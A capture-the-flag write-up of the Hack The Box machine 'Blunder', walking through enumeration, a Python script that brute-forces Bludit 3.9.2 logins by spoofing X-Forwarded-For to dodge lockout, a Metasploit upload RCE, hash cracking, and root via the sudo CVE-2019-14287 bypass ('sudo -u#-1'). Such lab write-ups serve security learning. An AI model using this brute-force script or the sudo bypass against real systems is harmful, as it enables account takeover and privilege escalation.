
Jump Ahead: Enum – User – Root – Resources
TL;DR;
To solve this machine, we began by enumerating open services – finding ports 21
and 80
open. Looking at the source code on the webserver, we find out the CMS is Bludit
version 3.9.2
, which is vulnerable to a bruteforce protection bypass attack. After further enumerating the webserver, we find a username, and use cewl to generate a potential password list. After doing so, we are able to get valid credentials for Bludit. Now that we have valid application credentials, we are able to use Metasploit to get a reverse shell as www-data
. After enumerating the machine, we find a password hash for hugo
, and use an online cracker to get the plaintext password. Using the credentials, we get access as hugo
and can read user.txt
. Running sudo -l
, we see that we can run bash as any user except root
. Researching the version of sudo, we see that it is vulnerable to CVE-2019-14287
. Exploiting the vulnerability, we now have a shell as root
, which gives us access to root.txt
.
Enumeration
Like all machines, we begin by enumerating exposed services – only finding 2 ports open.
$ nmap -p- --min-rate 3000 10.10.10.191 [...] $ nmap -A -p21,80 -oA scans/nmap/tcp-scripts 10.10.10.191 # Nmap 7.80 scan initiated Fri Jun 5 22:14:55 2020 as: nmap -A -p21,80 -oA scans/nmap/tcp-scripts 10.10.10.191 Nmap scan report for 10.10.10.191 Host is up (0.045s latency). PORT STATE SERVICE VERSION 21/tcp closed ftp 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-generator: Blunder |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Blunder | A blunder of interesting facts Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Jun 5 22:15:04 2020 -- 1 IP address (1 host up) scanned in 8.87 seconds
Next, we enumerate the web server using gobuster.
$ for i in files directories; do gobuster dir -t 30 -u http://$RHOST -w /opt/wordlists/seclists/Discovery/Web-Content/raft-medium-$i.txt -o scans/web/gobuster-80-rm${i:0:1}.txt; done /admin (Status: 301) /about (Status: 200) /0 (Status: 200) /server-status (Status: 403) /LICENSE (Status: 200) /usb (Status: 200) [...] /install.php (Status: 200) /.htaccess (Status: 403) /robots.txt (Status: 200) /.html (Status: 403) /.php (Status: 403) /.htpasswd (Status: 403) /.htm (Status: 403) /.htpasswds (Status: 403) /.gitignore (Status: 200) /.htgroup (Status: 403) /wp-forum.phps (Status: 403) /.htaccess.bak (Status: 403) /.htuser (Status: 403) /.ht (Status: 403) /.htc (Status: 403) /todo.txt (Status: 200)
Getting User
Looking at /install.php
, we learn that the webserver is hosting Bludit
– a flat-file CMS. Next, we look at /todo.txt
, which reveals the username fergus
, and also reveals that the CMS is outdated.
Looking at the source code of the index page, we learn that Bludit may be version 3.9.2
.
Researching this version of Bludit, we learn that it is vulnerable to RCE in the file upload function. To exploit this and get a reverse shell, we need valid credentials. Since we have a potential username (fergus
), we can modify this script to bruteforce the password using a password list.
#script modified by Khaotic #original at https://rastating.github.io/bludit-brute-force-mitigation-bypass/ #!/usr/bin/env python3 import re import requests import sys host = 'http://10.10.10.191' login_url = host + '/admin/login' username = 'fergus' #wordlist = [] # Generate 50 incorrect passwords #for i in range(10): # wordlist.append('Password{i}'.format(i = i)) # Add the correct password to the end of the list #wordlist.append('adminadmin') #for password in wordlist: f = open(sys.argv[1], 'r') for password in f: if 1 == 1: password = password.strip() session = requests.Session() login_page = session.get(login_url) csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1) print('[*] Trying: {p}'.format(p = password)) headers = { 'X-Forwarded-For': password, 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36', 'Referer': login_url } data = { 'tokenCSRF': csrf_token, 'username': username, 'password': password, 'save': '' } login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False) if 'location' in login_result.headers: if '/admin/dashboard' in login_result.headers['location']: print() print('SUCCESS: Password found!') print('Use {u}:{p} to login.'.format(u = username, p = password)) print() break
To generate a password list, we will use cewl.
$ cewl http://10.10.10.191 > poss-pass.txt
Once the password list is generated, we can use the script to bruteforce the password. Having done so, we now have the password for fergus
. We can now use Metasploit to get a meterpreter shell on the system as www-data
.
$ bludit_bf.py poss-pass.txt
Looking around the webserver files, we eventually come across /var/www/bludit-3.10.0a/bl-content/databases/users.php
(which from earlier Bludit research, we know to be the file to contain credentials). Within it, we find the username hugo
and a password hash. Using the internet to crack the hash, we now have the password.
Using su hugo
, we are able to login as hugo
and gain access to user.txt
.
Getting Root
Since we now have access as hugo
, our first step in enumeration is check what we can run as root
or another user. To do that, we run sudo -l
.
Having done that, we see that we are allowed to run bash as any user, except root
. That’s oddly specific, so let’s check the version of the sudo command for a potential vulnerability. sudo -V
reveals that the machine has version 1.8.25p1
installed, which we learn is vulnerable to CVE-2019-14287. This vulnerability allows us to bypass the user restriction, by supplying -1
or its unsigned equivalent (4294967295) to convert it into UID 0 (root). Exploiting this vulnerability, we get a shell as root
, and can now read root.txt
.
$ sudo -u#-1 /bash
Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!